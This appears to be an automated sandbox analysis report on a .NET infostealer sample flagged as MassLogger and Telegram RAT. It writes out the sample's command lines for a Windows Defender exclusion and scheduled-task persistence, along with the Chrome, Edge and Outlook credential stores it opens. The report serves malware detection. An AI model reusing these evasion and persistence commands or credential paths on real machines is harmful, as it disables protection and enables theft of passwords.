Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe"
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory written: C:\Users\user\Desktop\UOEAjWmusE.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory written: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe"	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Users\user\Desktop\UOEAjWmusE.exe "C:\Users\user\Desktop\UOEAjWmusE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Users\user\Desktop\UOEAjWmusE.exe "C:\Users\user\Desktop\UOEAjWmusE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmp43A.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process created: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe"	Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Users\user\Desktop\UOEAjWmusE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.3031.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Users\user\Desktop\UOEAjWmusE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected MSIL Logger

Source: Yara match	File source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 2992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 3552, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 2992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 3552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 1616, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 2992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 3552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 1616, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 2992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 3552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 1616, type: MEMORYSTR

Remote Access Functionality

Yara detected MSIL Logger

Source: Yara match	File source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 6704, type: MEMORYSTR
